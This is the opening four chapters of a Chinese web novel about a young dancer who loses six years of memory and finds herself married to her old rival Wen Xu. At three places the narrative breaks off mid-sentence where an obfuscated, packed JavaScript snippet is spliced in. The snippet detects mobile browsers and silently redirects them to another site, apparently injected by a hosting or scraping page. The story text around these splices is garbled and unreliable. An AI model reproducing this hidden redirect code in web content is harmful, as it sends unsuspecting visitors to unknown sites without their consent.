《点击清空记忆》
1. 第 1 章
如果可以去到人生中任何一个时间点,你会怎么选择?
还没想好怎么回答,谢与月眼一闭一睁,就来到了24岁。
即便脑袋发晕,脚踝也算不上舒服,她精神却出奇的好。
从医生和来探望的人口中,她拼凑出了现状。如今的她,顺利入职了梦想的国家歌剧舞剧院,在参加苗族舞蹈采风活动时出了点意外,从坡上滑落,失忆了。
医生说她是失忆,但她有点怀疑自己是穿越到了六年后,要不然怎么会压根想不起这六年来的任何事情呢?
肯定是这样!
抱着这样的念头,谢与月十分虔诚地搜寻起她随身带着的手提包,意外翻到一部还活着的备用手机。
就在她的床头柜上,放着已经彻底死了的另一部。
据说这部在她摔下坡时磕到了石头尖尖,屏幕碎成了密密麻麻的蛛网,别说开机了,就连藏在机身里的手机卡都裂了道缝。
好不容易找到个备用机,第一件事当然是点开微信看一眼。
这估计是她的小号,加的人和群不多,有个名为[24K]的群一直保持在最上方,不停地弹出新消息,反复勾引她点开。
撇开群里一大堆搞不明白的暗号,她的目光一下就被“WX”这个代号牢牢吸引,不由得想到了某个家伙的名字缩写。
[明天一定吃饭:AURA昨晚那场慈善会,就WX自己去了,没看到Y]
[XY:刚入群,WX指谁?]
见着有人帮她问了最想问的,谢与月好奇地等待解释。
[明天一定吃饭:我们这会聊起来的,也就一家姓闻的,懂?]
[XY:行。]
三十秒后,群友撤回了解释的消息。
姓闻的,名字还带X。
谢与月顿时来劲儿了,这人她熟!就说是孽缘吧,穿越到六年后,第一个看见的熟人名字居然是他的。
很快,那新来的群友又发了消息。
[XY:有没有可能,Y忙工作,没空出席。]
没再管这些人后面聊什么,她在历史聊天记录里翻箱倒柜,从这样一条奇怪的途径,得知了这位闻姓朋友的近况。
首先,他结婚好几年了。
性格这么恶劣的一人,居然也能找得着结婚对象。
也对,凭他那张脸,只要不开口说话,当个硬邦邦的木头人,找个不知情的人结婚也不算是什么难事。
不知道两人接吻的时候,他可怜的妻子会不会被这人嘴巴毒昏过去。
其次,他妻子很爱他,但他对妻子态度很冷淡。他妻子那边曾有亲戚跑出来爆料说,夫妻俩因为吵架分开过一段时间,她天天以泪洗面,好不可怜。
至于那些什么“Y根本配不上WX”、“结婚都三年了还没见有孩子肯定有猫腻”、“Y自己不害臊吗抓着人不放不照照镜子”、“Y那情况能依靠的也就W家了”这种话,谢与月权当有狗在她手机里未经许可随地大小叫了。
她这一摔,是把脑子摔出了点问题,聊天记录还没翻多少呢,头晕就又犯了。谢与月悻悻地收起手机,给自己倒了杯水,平复心情。
太惨了。
即便不知道是谁那么倒霉和闻叙结了婚,她也要替那位可怜的姐妹打抱不平!
长着眼的都看得出来,这分明就是闻叙的问题。不喜欢人家的话,为什么要结婚?甚至还任由诋毁妻子的流言蜚语长着腿到处跑,压根就没有做到丈夫应尽的责任。
话又说回来,闻叙确实干得出来这样的事。他这人向来都如此,对不在意的人和事,连表面功夫都懒得做,认为这是在浪费他有限的精力和时间。
她是很忿忿不平,可那是人夫妻俩的事,她一个外人,管也管不着。
除了这个八卦群,她小号还加了两个人,聊天记录一片空白,不知道是被删除了,还是本来就没交流。
翻完微信,她又看了下相册,很空荡,是片未曾被人造访过的荒漠。
谢与月不大明白,这个备用机到底是用来做什么的,出差都带着,真的就只是为了潜水看圈内八卦?
一开始的兴奋劲过了,头晕反扑得厉害,吃完同事送来的晚餐后再洗个澡,谢与月倒头就睡。
贵州九月,常有温和的好天气。隔日早,病房窗外漫上日光,枝叶上的光与风悠悠荡荡晃着,晃来只蓝尾巴喜鹊停在上头,饶有闲情地偏过头梳理背羽。喜鹊啊,这可是只象征好消息的小鸟。
谢与月正凝神欣赏着这只肥嘟嘟小喜鹊,医生来到了病房,细细询问过她的情况,宣布她可以出院了。
恰好采风活动也在今天结束,一行人准备启程回京市,于是她也跟着一起回去。
从坡上这一摔,她不仅皮肤擦伤,腿和腰也负伤了,好在都不算严重,养一段时间就好。
对于舞蹈演员来说,腰腿受伤再常见不过,尤其是高强度巡演时期,就算有伤在身,只要还能跳,就必须坚持上舞台,要不然怎么对得起台下期待已久的观众。
一行人的飞机顺利落地,叫了车回到舞团。
了解到她现在这情况,领导怕她脑子真有点什么没查出来的东西,正好最近她也没有要排练演出的剧目,干脆给批了病假,催促她赶紧去医院做深度检查,别耽误了病情。
从舞团离开前,谢与月望着同事,出于一点莫名谨慎的预感,多问了一句道:“暖暖姐,有个小小问题就是,你知道我现在的家住哪儿吗?是不是还在澜西?”
“你这还真什么也不记得了?还好你问了我,不在你说的那儿,等我找找地址发你。”余暖找着找着,又笑出声来,“虽然这么说不太好,但真有意思,你现在完全变了个人。”
谢与月追问道:“以前的我是什么样的?”
“以前的你,嗯……温温柔柔的,没什么架子挺好相处,但怎么说吧,有距离感,人也沉稳,哪像现在。”
“懂了,您的意思是,我现在是幼稚版。”谢与月迅速得出结论。
余暖笑得手机都拿不稳了,“你要这么说也对,毕竟按道理说,你现在才十八岁,从心理年龄来说,成我们团里最小的了。”
很快,余暖找到地址发了过来。
知道余暖还要排舞,谢与月婉拒了她要送自己回家的好心提议,揣着备用手机微信里的一百来块,打车回到现在的家。
司机忙着跑车载客,没怎么维护车内环境,估摸着是之前下了雨,车窗上印着斑驳的半透明灰尘点子,她费力地透过它们辨认窗外的景象。
这条路她偶尔会经过,和过往那点印象对比,谢与月切切实实地感受到六年时光的乍然流逝。
打从记事起,她就搬了不少次家,记忆里最后一次是在14岁,她跟着爸妈搬去了澜西华府。
那是栋临湖的花园别墅,明堂开阔,房内敞亮通透。
她很喜欢那儿,刚住进去就叽叽喳喳问以后是不是就一直住这儿了,得到了爸妈肯定的答复,少女满心欣喜,各种摆弄住处。筑巢的鸟儿拍拍翅膀四处衔来枝叶,慢慢将那装点成了最温暖的家。
也是在那里,她认识了住在隔壁的闻叙,还有他的异卵双胞胎哥哥许庭嘉。
她常跑去他们家玩,还借住过一段时间。许庭嘉很好相与,闻伯和许姨也是亲和的人,也不知道到了闻叙那儿,基因是怎么变异成他那样的。
-
这条路车不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602911|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少,司机车油门踩得一顿一顿的,在谢与月被晃得吐出来前,车子终于在万禾壹号的大门前停下。
外来的车没申请不允许进入,物业特地派了车过来,送她到家门口。一路过去满目林荫绿从,又骤然闯进枝干缀满金铃铛叶子的银杏大道,到了坡下,这里立着一栋别致的青瓦红墙,门牌上写着万禾壹号·十九号,这儿便是她如今的家了。
怪不得一向信守承诺的爸妈会再次搬家,比起原来住的那处,这里也是别有一番风味。
得益于余暖姐的提醒,谢与月顺利通过指纹人脸的双重识别,推开眼前这扇用料厚重的棕色入户门,新家终于朝她现出了全貌。
屋内延续了外立面略带古韵的典雅风格,只是少了她爸妈尤为喜爱的红木家具,更为年轻化。
大约是爸妈把装修的决定权交给了她,红木家具是实用,就是坐起来太硌了,她一向都不喜欢。
目之所及都很干净简约,少了点家的意味。
她爱将东西四处放,爸妈也不讲究,只有等到逢年过节或者突然兴起要大扫除了,才会将它们逐一归位,再等段时间,又会被她再次挪到各种地方去。
难道这里不久前才刚收拾过?
“我回来啦。”她大声说完,耐心等着爸妈或者住家里头的阿姨出来应话,没想却一片静悄悄的,半点声响都没有。
奇了怪了。
又再喊了几声,屋里依旧是安安静静的,活像是个样板房。
她掏出手机给爸妈打电话,可惜没人接,估计是出门了。谢与月也没想太多,转而探索起新家,从一层再到二层,越转悠越觉着奇怪。
一楼有个单独的小房间,里面放着宠物用品,看样子是狗的,有个毛绒床,沾了不少金色的狗毛。角落的筐里还放满了玩具,旁边的柜子上整齐放了几十本绘本。她什么时候也养狗了?
除此之外,一楼还有间放着器材的小健身房,她的练舞室则是在二楼。
卧室也在二楼,只有两间。
主卧旁是浴室,洗漱台上摆放着两支颜色不同的电动牙刷,壁龛上放着她爱用的几款沐浴用品,还有罐自制的佛手柑香浴盐,也是她自个儿捣鼓出来的玩意。
她很喜欢这款浴盐,一用完就要做新的,六年后的自己居然还在用。
再说衣帽间,就更让她纳闷了,里面左右分区,左边男,右边女。
男士区的西装衬衫长得都差不多,却不是她爸爱穿的牌子,款式也更年轻一些。
另一边的女士衣物,每一件都色调讲究,打眼看过去都是优雅端庄的类型,不像是她和她妈的衣橱。
书房里放的东西倒是挺多的,她才打开书房门,空空如也的胃顿时起了反应。一时间头晕眼花,也顾不得再研究这研究那了。
事已至此,先去厨房整点东西吃。
冰箱里分门别类地装满了食物,冷冻层里放着小馄饨,旁边还搁着些自制的浓汤宝,估计都是阿姨准备的。
等水咕噜咕噜地烧开,她丢了个浓汤宝进去,等到鸡汤的鲜香追着蒸腾的热气飞快扩散,就轮到小馄饨咕咚下锅了。
馄饨皮起了漂亮的皱纱,随手撒上切好的葱花,她望着面前这碗熨帖的鸡汤馄饨,舀了一个到勺子上,吹着热气送入嘴里。
馄饨是纯肉馅,弹牙而不腻,吃完了一个,便想吃第二个。等碗里连汤都不剩时,外头的天色已然沉沉,秋夜凉意慢慢渗了进来。
谢与月打着哈欠收拾好碗筷,靠在软和的沙发背上发困,昏昏欲睡。
此时的她全然不知,就在几百米开外的银杏大道上,暖黄车灯掠过车道两旁栽着的银杏叶,一辆匍匐的车破开渐浓的夜色,朝着坡下驶来。
2. 第 2 章
谢与月曾念叨过自己是这个世界上最幸运的人。
她妈年纪轻轻就跑去了港城闯荡,在星光如云的九零年代出了头,成了家喻户晓的大明星。
那时,她爸是个白手起家的小商人,即便与爱人两情相悦,也自觉配不上她,便努力搞事业,乘着那年代发展的风浪而起,到后来也能大方地公布婚讯了。
俩人婚后感情一直都很好,只要了谢与月这么一个孩子。
有网友对此十分惋惜,这对夫妻颜值那么高,怎么就不多生几个?实在是太对不起这么高质量的颜值基因了!
反正吧,有着这样一对父母在眼前做典范,谢与月对爱情还是充满着幻想的。
在记忆里的不久前,她还兴致冲冲地找到初学塔罗的闺蜜江归夏给抽了几张牌,是张画面赤.裸的牌,是叫恶魔还是魔鬼来着?
还有什么轮子和星星的,她是不太懂,江归夏的反应却大得很,对着那三张牌,神情震惊地道:“我去你这全是大牌正位,这是什么,入室抢劫一样的爱情啊!”
接着,江归夏开始解起了牌,一面老神在在,又一面满脸揶揄。
“首先恭喜你!你未来老公事业绝对很牛!不过嘛,你俩结婚的目的不太单纯,似乎有交易什么的目的。不过你这艳福不浅嘛,那方面很厉害哦——”
“然后再看看这张牌,这是什么?妥妥的命中注定!在一起后彼此互相成就,嗯……就是中间有坎坷,要先经历一番低谷才会迎来转机。反正感情都是这样,哪有顺风顺水的,得一起经历了跌宕起伏才叫深刻。”
江归夏这么一通说完,谢与月被哄得美到冒泡,已经在思考未来的婚礼要放什么歌好了。
话说回来也太可惜了。她还没来得及谈恋爱呢,就突飞猛进到了六年后,也不知道六年后的自己找着占卜里的那个对象没有。
饭后一困,谢与月思绪就四处溜达,在快要睡着时,门口忽地传来了动静。
她努力支起沉重的眼皮,揉揉眼,看向门边。
很快,门开了。
一只骨节分明的手搭上门边,她离门口有些距离,只能瞧见那手的白皙的肤色,再接着见到的,是双挺括西装裤包裹着长腿。
意识到了什么,她蹭地站起来,彻底不困了,往门边走过去。
屋外是昏暗的夜色,进屋的人身上是讲究的灰,长长的影子拖着初秋的凉意,屋内暖黄的光洋洋洒下,将略带倦懒的眉眼照得清晰可见。
两人就这么对视了一眼。
仅仅一眼,她便立在原地。如果她是个人机的话,现在CPU已经□□烧了。
比起她那大惊小怪的模样,来人倒是散漫随性得很,迈着极有优势的长腿步入屋内,顺带关上门,再随意不过地朝她说了声“回来了”。
说着,他径自脱下拘束的西装外套,走到茶几前,将被摆放得像是待观赏品的玻璃杯拿起来,倒了半满。
手持玻璃杯坐上沙发时,他空着没拿东西的手臂还搭上了靠背,指节处略透些粉,淡青色的筋络隐隐可见,是双可以上保险的手。
这姿态,活像是回到了自己家。
三十秒后,谢与月似乎是找回了理智。
而后,她听到自己的嘴开口问道:“这是你家吗你就进来?”
她说话时,闻叙正下巴轻抬地喝着水,喉结轻滚,优越的下颌线愈发清晰。放到谢与月眼里看来,这人连喝个水都带着种装装的劲儿。
他肯定听清了她说的每个字,却也不着急停下来回答她,待到那半满的水杯空了,才掀起眼皮看了过来。
“行,几天没回家,已经准备把我扫地出门了。”他笑了笑,吐出的字眼却不见得那么优雅,“需要我拿结婚证和房产证自证一下吗?闻太太。”
“闻太太”这三个字被咬得不轻不重的,他像在说一件再平常不过的事情,神色却带上些思忖,大概是在想她今天突发奇想玩起了什么新把戏。
而此时,谢与月的理智已经彻底离家出走。
闻……太太?
结婚证??
啊?
谢与月大概是明白了。
她其实不是穿越到了六年后,而是在做一场清醒梦。
这就对了。
不久前,她还曾发誓要和眼前这个又物质又俗气还不懂舞蹈的没品家伙势不两立,六年后的她怎么可能背叛自己,和最讨厌的人结婚呢?
所以真正的真相就是,这一切都是假的。
一定是这样。
她很平静,没再说话,下定决心,两步并成一步走到他跟前。
而后,她抬起了手,捏捏他的脸,捏捏他硬硬的手臂,再捏一下自己的脸,无视他看傻子一样的目光,陷入了沉思。
热的。
有实感。
不是做梦?
她这么不对劲,闻叙再怎么都察觉到了问题,“……谢与月,你把是把魂还是脑子落在贵州了?”
要是以前听到他这样说,她一定会呛回去,顺带还要踩这洁癖两脚,直到他干净的鞋子沾满灰尘,叫他知道狗嘴里吐不出象牙的下场!
可现在,瞧着这人比六年前要更为棱角分明的脸,她只是机械地点点头,声音飘飘地接他的话。
“还真有可能。一个月前,我才刚过完十八岁生活。不知道怎么的,一睁眼就突然二十四岁了,他们都说我是摔下坡后失忆了。我以为这已经很离谱了,没想到现在,我居然还和你结了婚……”
察觉到她不是在乱说玩笑话,他蹙起了眉,神色上飘着的那层惫懒淡去,“看医生了?伤到哪儿了?”
她缓缓竖起食指,朝着自己的脑袋一指,对答如流道:“这儿,脑震荡,说我这是失忆。哦对,结婚证给我看看。我这辈子还没见过自己的结婚证,真新奇。”
也就只有她,在这种时候还会想看自己的结婚证了。
难得没损她,他纡尊降贵地动了下,捞起随身带着的公文包,从隐秘的夹层中抽出了个小红本递给她,似是不大在意地和她继续着话题,“你刚说你一个月前才过完十八岁生日?”
接过传说中的结婚证,谢与月翻开来,嘴里还不忘对他问的问题表示肯定。
意外事件的冲击下,她短暂忘了对闻叙此人的各种意见,细细端详起手上这个比她想象要小一点的证件。
轻飘飘又沉甸甸的,和只有蓝底黑框线的户口本不大一样,结婚证内页的上面居然还有纹饰,鹅黄色的牡丹花,第一行写着“持证人:闻叙”,再下一行是登记日期,“2021年11月30日”。
就在这页的下面,清楚地印着她和闻叙的名字、身份证等信息。很显然,这本证件成了月老的钢丝红线,将她和闻叙给捆在一块,还绑了足足三年。
谢与月眼神盯得认真,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602912|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都快将这证件看冒烟了。
名字是他们的名字,贴着的红底照也是他们的脸。照片里俩人穿着一朱红一藏蓝,有在笑着,就是不大像是发自内心的,貌合神离得很,拍完照下一秒就能去隔壁窗口办离婚证。
她还想再看看,闻叙修长的手指忽地贴到证件上,稍稍使劲,轻松松地从她手里抽走了结婚证。还仔细地合好,生怕眼前心智才十八岁的人会干出毁证灭迹的大事。
“我还没看完呢。”
她有些不满地说着,还想拿回去,却被他精准避开了,没让她有机可乘。
“你自己也有本。看你自己的。”
“我不知道我的放哪儿。”
“找。”吐出这么个冰冷的字眼。
谢与月停下来,上上下下地将他看了又看,跟泄了气的球一样,往他身旁位置坐下,再拉开一点距离,认命道:“所以这里是我们的……婚房?”
“嗯。”他矜持应道,“你挑的。”
她抓住个抱枕,将脸埋进去,成了只绝望的鸵鸟,一句话都不想再说了。
闻叙松松略紧的领带,朝她瞥了过去,只见到个毛茸茸的圆乎后脑勺,蓬松的头发散在后肩,正一缕一缕地往前跑,露出纤细的后脖颈,把鸵鸟的精髓掌握得非常到位。
他收回眼神,没再与她说什么,转而打开手机,偌大的客厅重归表面上的安宁。
过了会,鸵鸟呼吸困难了,不得不抬起起头,“我去洗澡。”
他将手机熄屏,好心接了句,“知道浴室怎么用吗?”
“闻叙。”她声音透着一种平静的死感,“我是失忆了,不是失智了。”
说完,她将抱枕丢到了他身上,腾云驾雾地走向二楼浴室。
这个澡,谢与月洗了很久。
她吹干湿乎乎的头发,穿了套长袖长裤款睡衣,居然还有闲心对着镜子护肤。
说是护肤,也就是往脸上擦面霜而已,九月天气干燥,不涂点保湿补水的不行。
事已至此。
她拍拍被面霜糊得湿润的脸颊,和镜子里满脸愁色的人儿对上眼,这张脸的轮廓比十八岁要明显,瘦了,皮肤比以前还要白。
她幽幽地对着镜子叹气,事已至此,只能先面对了。
哄了自己好一会,谢与月回到主卧,被站在床边的高大人影吓了一跳。
她缓了过来,忍不住问:“你在做什么?”
在另一间浴室洗完了澡,闻叙已经换上了套深灰色的家居服,黑色的碎发带着潮气,手里正拎着个枕头,床上左边位置已经空了。
他将枕头拿好,表情平稳极了地给这个动作命名,“拿枕头。”
谢与月:“我长了眼。”
他走到门边,与正靠着门框的她离得近了,佛手柑带着一点柠檬味的淡香愈发清晰,还有他们共用的那款洗发露,两款极为合宜地糅在一块,是他闻惯了的。
“我去次卧睡。”对上她那双充满疑惑的眼,他大发善心地再解释了句,“我认枕头,且没有和心智刚满十八岁的人睡同一张床的癖好。”
她松了口气的同时,又感觉自己被骂了。即便他说的确实是事实。
彻底从她的领域离开前,闻叙停下来,看到她的眉眼被暖色的顶灯烘得不问世事而温暖。
“明天早上别赖床。我约了九点的专家,给你好好检查脑子,别真摔坏了。”
3. 第 3 章
等到闻叙彻底消失在眼前,谢与月将主卧门关好,困意重新袭来。
想起他说的那句话,她拿起手机连设十五个闹钟。
绝对不能被闻叙看扁了,说什么也要七点就醒。
设完闹钟,她顺手就点开了微信,见到右上角又显示99+的八卦群,忽然迟钝地意识另一个问题,她就是群里说的那个可怜的Y。
……天杀的闻叙!!她谢与月跟他不共戴天!
她正准备点开那个群里的聊天记录再看看,手机冒出了电量低提示,就剩9%了,于是摸瞎着找起了充电器。
这个房间也收拾得跟个样板房似的,很干净,放在明面上的东西不多,没见着充电器,估计是藏在了柜子里。
她也没想太多,考虑到自己平时用手机的习惯,随手就打开了右边的床头柜的上层。
里面整整齐齐地码了一排黑色的小盒子,旁边空着的地方放着充电器。
她拿出来给手机充上电,好奇地抽了个黑色薄盒出来。这个盒子是拆过的,她晃悠着倒出黑子里的东西,等看清楚包装上印着的牌子名,烫了手似把这玩意塞回去,啪地将床头柜关上。
冷静了一会,谢与月安慰起自己,这种东西对夫妻来说再正常不过。
可即便这个房间里一个人也没有,脸还是控制不住地冒起热意,耳朵烫红,她用被子蒙住头,这下是真的不愿面对现实了。
等脸和耳朵的热意慢慢降了,她忍不住又打开那个柜子,在看清右下角那个XL后又猛地关上柜子,跑去盥洗台前,手捧着水洗了把脸。
原先的气愤彻底被另外一种情绪取代,谢与月失眠到了半夜,在清早最后一个闹钟响完之前,挣扎爬了起来。
她收拾好下楼时,闻叙已经坐在了靠近门那侧的沙发上。入户门敞开着,屋内光线很好,他穿了件白衬衫,最上一枚扣子没扣上,领口略敞开,长腿交叠,腿上放了台轻薄的笔记本电脑,正专注地处理这事务。这种时候的他,那些棱棱角角都收了起来,几乎是没有攻击性的。
还有一个穿着规整西装的人坐在他旁边,是闻叙的私人助理,似乎是在整理资料。
余光见到了她的身影,闻叙随手扣上扣子,合上电脑递给助理,从繁忙的工作中短暂脱离,“走。做完检查再吃早餐。”
人模狗样的。
忽然的,她又想起了昨晚的一排黑盒子,臊得慌,就也没吭声,慢吞吞地跟上他的步伐。
车上,她频频望向他,欲言又止,等到车子驶过第四个红绿灯时,他头也不抬地说道:“谢与月,有话就问。”
她盯着的目光太炽热,都快把他烧穿了,想不发现都不行。
其实她也就是想问关于结婚和避孕套那点事,就不知道怎么的,话到了嘴边,又飞速逃窜了回去,难得踌躇。
大约是她安静了太久,他侧过眸来看了眼,“问不出口?”
“怎么可能!我只是在思考。”
“行。”他尾音拖了长调,也不知是信了还是没信,“您慢慢思考。”
一语毕,车内的气氛又陷入了安静。
她受不了这样的安静,决定先问点别的事情打个先锋。
“你知道我爸妈现在在干嘛吗?我昨天没打通他俩电话。”
他看向窗外,此刻红灯结束,车子被车流推着往前。
“去国外了。”
“度假?”她反问。
“是也不是。他俩在做海外业务,把国内的公司给了你小叔管。前段时间说要去考察水源,顺带度假。深山老林信号不好,电话打不通也正常。”
谢与月还能不了解他们吗,“说是去考察,其实就是去谈恋爱的。我爸以前也用的这借口,把我丢到了你们家借住。”
十七岁的夏天,孟女士去M国拍电影,她爸很快也找了理由跟过去。临走时,她爸良心觉醒,担心她一个人睡家里不安全,也怕她孤单,让她去隔壁借住,一住就差不多一年。
“不过这事儿有点奇怪。”她琢磨着,总感觉哪里不太对劲,“我爸不是就爱国内市场吗,老说祖国的土地才是根,现在怎么一转眼,跑去掘别人的根了?”
闻叙没忍住笑了,而后又道:“这两年国内软饮料市场增速放缓,我们原本占优的包装饮用水份额也在持续走低,这种情况下,除了推出新品,扩大海外市场占有率也是一种策略。”
听到这样的长篇大论,谢与月下意识左眼放空,右眼放哨,最后得出个结论,她爸依旧是那个一心为公司的事业狂。
知道爸妈过得潇洒,她放心了不少。接下来这个问题,顾及到车上有其他人在,她稍微往他的方向凑近一些,压低了声音。
“所以我们为什么结的婚,利益勾结?形式婚姻?”
“利益勾结……”他本来是面无表情的,此刻眉梢却是跳了下,有点无语,“谢与月,我知道你以前语文考五十九,但我们这是结婚,不是犯法,这词用不上。”
他停顿两秒,又继续道:“我俩妈以前有约定,要她们的孩子刚好一男一女,到了适婚年龄都还没对象,那就凑一对结婚。”
还有这事?谢与月从没听孟女士说过。
由于震惊,她的眼睛稍稍睁圆,“可就是这样,我也不应该会……”
她脱口而出的话才说道一半,他忽地微微一哂,半夹着讥诮地接过她的话,“也不应该和我,而应该和许庭嘉?”
这回轮到谢与月无语了。
她是没想过要和闻叙结婚,但更没想过和他哥许庭嘉结婚啊。
“你别歪曲我。我是说,就算这样,我也不应该会答应和你们俩任何一个人结婚才对。”她说着,破罐子破摔了,“……算了,哪知道我当时在想什么。”
气氛再度陷入沉默,谢与月也不开口说话了,车内的气压越来越低沉。
再过了会,她越想越气,扭过头纠正道:“我那次语文没及格,那是因为我写一半太困睡着了。后面120满分,我都能考100多的。”
为自己辩驳完了吧,她声音又掺了点郁闷。
“闻叙,一码归一码,我刚没说你不好的意思。虽然你是挺让人讨厌的。”
他听着,意味不明地哦一声,“你是挺讨厌我的。”
谢与月承认自己一直都讨厌闻叙,而且讨厌得光明正大,从不遮掩。
可现在听到这话从他口中说出来,就算没任何指责的意思,只是简单地在陈述事实,也叫她无故平添了点内疚。
在早高峰堵了好一阵子,到医院门口时已经是八点四十多分。
了解完具体情况,医生安排了更深入的检查,最终诊断她并不存在器质性问题,除了有些偏瘦,身体各项指标都可以算及格。
至于失忆的问题,她解释道:“正常来说,部分脑震荡患者只会失去事故发生时的短时记忆。不过大脑是个精密复杂的器官,也不排除会诱发认知错误,比如潜意识渴望回到某个时间点,又或者某些神经出现了些细微的改变,都有一定的可能导致这种情况。”
闻叙思忖着询问:“以后会重新想起来吗?”
“目前来看,大概率可以的。多营养神经,不要受到刺激,保持心情放松。考虑到你们这边的具体情况,最好一个月内都不要剧烈运动,尤其是长时间的高强度跳舞,这会加重病情。”
谢与月没怎么说话,就安静在旁边听着。到后面,医生给她开了营养神经的维生素,叮嘱她好好休息,多进行散步、拉伸之类的活动。
也不知道闻叙干什么去了,等出了诊室又独自折返回去,她过了好一会才出来。
“你刚问了医生什么?”她还挺好奇。
“我问她说,你这情况会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602913|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不会影响智力。挺好,医生说没影响。”
她的气一下子又来了,“……你才影响智力!”
这么一打岔,方才她那点愧疚的情绪顿时烟消云散。
真不知道这男的有什么好的,她怎么会同意和他领证?想不明白,太想不明白了。
午饭后,司机将她送回家。闻叙则坐上另外一部车,去往公司工作。
若要为京市里有名有姓的大家族分个高低来,闻家一定会被放到金字塔尖那一批。
就说闻家主支,大清还在时,先祖赴美留学,等到20世纪20年代,先祖在妻子陈惜容的建议下重返祖国港城,开设工厂,发展得如火如荼。
后来山河飘摇,夫妻俩一心救国,几乎将整个身家都捐了出去,将“施惠勿念,受恩莫忘”的祖训践行到了底。
到了80年代,闻家在港城已是极有名望的大家族。
旁支不愿离开港城,主支却放弃了在这边积累多年的底蕴,回到真正的故乡,创立了北望集团,借着好时代的东风,重新在京市立足了脚跟。
闻叙出生在这样一个家族,是真正意义上的含着金汤匙,却也有摆脱不了的使命:继承家业。
网上常常有人调侃说要是自己发展不好,就要回去继承家业了。可闻家的家业可不是那么继承的,北望集团成立那么久,体量庞大,内部盘根错节,千头万绪的,稍有不慎就会出大问题。
碰见北望这么个烫手山芋,闻叙才用了不到四年的时间,就几乎让所有人都心服口服,时时刻刻掂量着他的一举一动,不再只戏谑地称他为“北望太子”。
见到他离去的背影,谢与月突然清晰地意识到,这家伙现在是个超级大忙人。
回到家后,她将裂了的手机卡找出来,去附近的营业厅补办新卡,再在商场买部新手机。
折腾完,都到下午的饭点了,干脆找一家客流量很大的卤煮店,排了二十来分钟的队,终于吃上热腾腾的火烧。这家的猪下水处理得很讲究,半点腥味和杂质都没有,裹上油亮的汤汁,入是满满脂香。
就这碗,彻底让她心底踏实了。不管她到底是真的失忆还是奇异的穿越,总归是得面对现实,至少得吃遍六年后的冒出来的新美食吧。
晚上八点,她吃饱了回家,手里还提溜着雪贝、奶酪酥、奶卷和肉饼,一开入户门,便觉得不对劲——
两只棕色的大爪子正兴奋地扒拉着门缝,试图将门缝撑大些,好让狗头得以从中钻出来。
猝不及防的,谢与月被钻出来的大金毛扑上了腿,它的尾巴跟旋风螺旋浆一样地左右摇着,打在门上时甚至还发出了声音。
“闪电!”她蹲下来惊喜地喊着它名字,揉了好几下手感超好的狗头,余光见到一双锃亮的皮鞋,她顺着仰头看了过去。
这人还是那身西装革履,碎发微乱,整个人又透着昨日那种随性的倦,像还未被唤醒的春山,层层叠叠的山峦下,草木连新芽都懒得萌发,横七竖八的,还躺在早已远去的冬天里。
真不知道他工作时是不是也这派不着调的模样。
她手里正提着几袋吃的,这几家店的顾客很多,位置分布也散,她当作饭后散步,花了挺长时间才逐一买到手的,打算这两天无聊时候填填嘴巴。
想到他早上特地抽空陪她去了医院,她提起手里的几个袋子,朝他递过去道:“你吃晚饭了吗?我买了吃的。”
按照以往的经验,他大概率会拒绝,或者最多勉为其难地伸手从袋子里拿一点出来。
可这次,他却弯下腰,指尖蜻蜓点水般地擦过她的手,十分自然且熟络地接过了她手中的袋子,并回答起了她刚刚随口问的问题。
“没,我刚下班。阿姨不知道怎么没做饭。你吃了?”
吃了,整整一碗卤煮。
就在他努力工作的时候。
4. 第 4 章
闻叙不喜欢有外人在,没有请住家阿姨。他们家的阿姨会在早上六点半、中午十一点和下午五点这三个时间段出没,上门来做饭和清洁。
出门去吃卤煮前,谢与月有收到阿姨的消息,问今晚需不需要做晚饭。当时她以为闻叙在外面吃了,就让阿姨别做了,便造就了如今闻叙没饭吃的局面。
在谢与月明显心虚的提醒下,闻叙给自己煮了碗馄饨汤,慢条斯理地吃着,瞧着讲究得很。
冰箱里的馄饨是阿姨空闲时做的,她手艺好,一个个包得扎实又胖乎乎,皮薄得能看到里头的肉,下锅时又会迅速起皱纱,这样的馄饨弹牙又好吃。
在他吃着迟来的晚餐时,谢与月和闪电玩得不亦乐乎。
闪电是条大金毛,毛发偏向浅金,体型有七八岁的小孩那么大,性格活泼,特别喜欢出去玩,一提到出去就跑得飞快。
她之前问过许庭嘉,闪电是闻叙九岁时捡来的。
九岁的闻叙热爱骑行,经常骑着悉心爱护的山地自行车四处跑,人人都说他这点像他妈妈。许庭嘉则相反,不爱出门,喜欢泡在书里,能看一整天。
